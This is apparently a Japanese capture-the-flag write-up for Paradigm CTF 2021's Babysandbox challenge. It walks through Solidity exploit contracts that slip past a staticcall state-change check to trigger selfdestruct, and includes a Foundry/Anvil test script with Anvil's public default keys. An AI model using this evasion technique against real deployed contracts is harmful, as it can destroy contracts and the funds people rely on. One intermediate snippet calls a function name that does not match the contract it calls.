Skip to content

Latest commit

 

History

History

Babysandbox

Paradigm CTF 2021: Babysandbox

ソース

概要

Babysandboxコントラクトのrun関数でselfdestructを実行する問題。ただしステート変化の検知を回避する必要がある。

Writeup

assemblyブロックの1つ目のif文の条件を満たせば、run関数の引数であるアドレスcodeに対してdelegatecallできる。

if eq(caller(), address()) {
    switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
    case 0 {
        returndatacopy(0x00, 0x00, returndatasize())
        revert(0x00, returndatasize())
    }
    case 1 {
        returndatacopy(0x00, 0x00, returndatasize())
        return(0x00, returndatasize())
    }
}

よって、アドレスcodeのコントラクトでselfdestructすれば解けそうであるが、単純にfallback関数でselfdestructしても失敗する。 というのも、delegatecallを実行する前にcodeに対して同じcalldata (="")でstaticcallが実行され、そのstaticcallが失敗すると、その時点でrun関数はrevertされる。 つまり、staticcallでselfdestructのようなステートが変化する処理を単純に実行してしまうとdelegatecallに辿り着けない。

// run using staticcall
// if this fails, then the code is malicious because it tried to change state
if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) { revert(0x00, 0x00) }

// if we got here, the code wasn't malicious
// run without staticcall since it's safe
switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
case 0 { returndatacopy(0x00, 0x00, returndatasize()) }
case 1 {
    returndatacopy(0x00, 0x00, returndatasize())
    return(0x00, returndatasize())
}

staticcallを無視したexploit

簡単のためにstaticcallでのステート変化の検知を無視した場合を考えてみる。 このときdelegatecallを実行するには、if文の条件「caller()address()の一致」を満たす必要がある。 これを満たすにはsandbox内からcallすれば良い。

call(0x4000, address(), 0, 0, calldatasize(), 0, 0)の部分を考える。callの引数は、順にgas, address, value, argsOffset, argsSize, retOffset, retSizeの7つ。 calldatacopyによってcalldataはメモリにコピー済みであるため、calldata(run関数の実行部)がそのまま渡されることになる。そしてdelegatecallがcodeに対して実行される。

そのため、staticcallを無視すれば以下のexploitで良い。

contract BabysandboxExploit {
    fallback() external {
        selfdestruct(payable(address(0)));
    }
}

staticcallを考慮したexploit

staticcallによってステートの変化が起きるselfdestructは単純に実行できずrevertされる。 最初に実行されるstaticcallと次に実行されるcallをexploit側が区別する方法が必要である。 これはtry/catch文を使って実際に状態を変化させられるかどうかを試すことで判別できる。 try文の式には外部関数コールとコントラクト作成のみ指定できるから、

  • 外部関数コールで別のコントラクトのステートが変化できるかどうかを試し、
  • もし変化可能ならdelegatecallを実行、
  • そうでないなら何もしない

というようにすれば、staticcallのステート変化検知によるrevertを回避できる。 そしてstaticcallを失敗させずにcallに辿り着き実行を継続させられる。

例えば、以下のようなコードを思いつく。

contract StateChange {
    uint a = 0;

    function change() external {
        a++;
    }
}

contract BabysandboxExploit {
    StateChange immutable stateChange;

    constructor() {
        stateChange = new StateChange();
    }

    fallback() external {
        try stateChange.f() {
            selfdestruct(payable(address(0)));
        }
        catch {}
    }
}

しかし、これはOutOfGasになる。callの0x4000 (16384) gasの制限に引っかかるためである。 関数changeの実行に20000 gasほどかかる。 これに対処するにはStateChangeの変数を無くし、selfdestructやログの発火に変えると良い。それぞれ関数changeの実行が7704 gasと890 gasになる。 最終的なexploitは以下。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract StateChange {
    event changed();

    function change() external {
        emit changed();
    }
}

contract BabysandboxExploit {
    StateChange immutable stateChange;

    constructor() {
        stateChange = new StateChange();
    }

    fallback() external {
        try stateChange.change() {
            selfdestruct(payable(address(0)));
        } catch {}
    }
}

余談: selfdestructのガス払い戻しの廃止

Paradigm CTF 2021が開催された2021年2月頃は、EVMのバージョンがMuir Glacierだった。 この時点では、selfdestructはさらにガスを節約できた。ただし、ガスの払い戻しはトランザクションの最後に実行されるため、必要なガスの量が変わるわけではない。

2022年8月現在はGray Glacierであるが、2021年8月のLondonハードフォークでEIP-3529によりselfdestructのガス払い戻しが廃止された。

関連リソース

Test

bash src/ParadigmCTF2021/Babysandbox/test_exploit.sh

Testの解説

Forgeのtestはtransaction-baseであるため、テストの間はextcodesizeの結果が変わらない。 よってtest機能は使わず、Forgeのscript機能とAnvilを組み合わせることでテストを行う。まずはsetup用とplayer用の2つのアカウントを決める。今回はAnvilのデフォルトアカウント(0番目と1番目)を使う。

export RPC_ANVIL=http://127.0.0.1:8545
export FOUNDRY_ETH_RPC_URL=$RPC_ANVIL

# Anvil account 0
export PRIVATE_KEY_SETUP=ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
# Anvil account 1
export PRIVATE_KEY_PLAYER=59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d

次にAnvilを起動する。

anvil --hardfork Istanbul --silent 1>/dev/null &
sleep 1

sleepは使いたくないが、これを挟んでAnvilが完全に起動するまで待たないと次に実行するforge scriptでRPCのエラーが起きる。

EVMのバージョンをMuirGlacierではなくIstanbulにしているのは、FoundryがMuir Glacierの指定に対応しておらず(foundry-rs/foundry#2260 )、forge script実行時にSpec Not supportedのパニックが起きるからである(下記参照)。

pub fn evm_inner<'a, DB: Database, const INSPECT: bool>(
    env: &'a mut Env,
    db: &'a mut DB,
    insp: &'a mut dyn Inspector<DB>,
) -> Box<dyn Transact + 'a> {
    match env.cfg.spec_id {
        SpecId::LATEST => create_evm!(LatestSpec, db, env, insp),
        SpecId::MERGE => create_evm!(MergeSpec, db, env, insp),
        SpecId::LONDON => create_evm!(LondonSpec, db, env, insp),
        SpecId::BERLIN => create_evm!(BerlinSpec, db, env, insp),
        SpecId::ISTANBUL => create_evm!(IstanbulSpec, db, env, insp),
        SpecId::BYZANTIUM => create_evm!(ByzantiumSpec, db, env, insp),
        _ => panic!("Spec Not supported"),
    }
}

scriptを実行する。

forge script BabysandboxExploitTestScript --fork-url $RPC_ANVIL --broadcast --private-keys $PRIVATE_KEY_SETUP --private-keys $PRIVATE_KEY_PLAYER --gas-limit 30000000 --gas-estimate-multiplier 200 -vvvvv --legacy

現在、Forgeのscriptで個別のトランザクションにgasを指定する方法が存在しないため、--gas-estimate-multiplier 200を指定する必要がある。関連: foundry-rs/foundry#2627 。また当時はトランザクション手数料マーケットがLondonハードフォークで導入されたEIP-1559ではないため--legacyオプションをつける。

解けたかどうかcast callで確認する。

# 31337: chain id of Anvil
SETUP_ADDRESS=$(python -c 'import json; print(json.load(open("broadcast/BabysandboxExploitTest.s.sol/31337/run-latest.json"))["transactions"][0]["contractAddress"])')
# A result of EXTCODESIZE remains the same until a transaction is terminated.
SOLVED=$(cast call $SETUP_ADDRESS "isSolved()(bool)")

pkill anvil

echo "Result:" $SOLVED

結果:

Result: true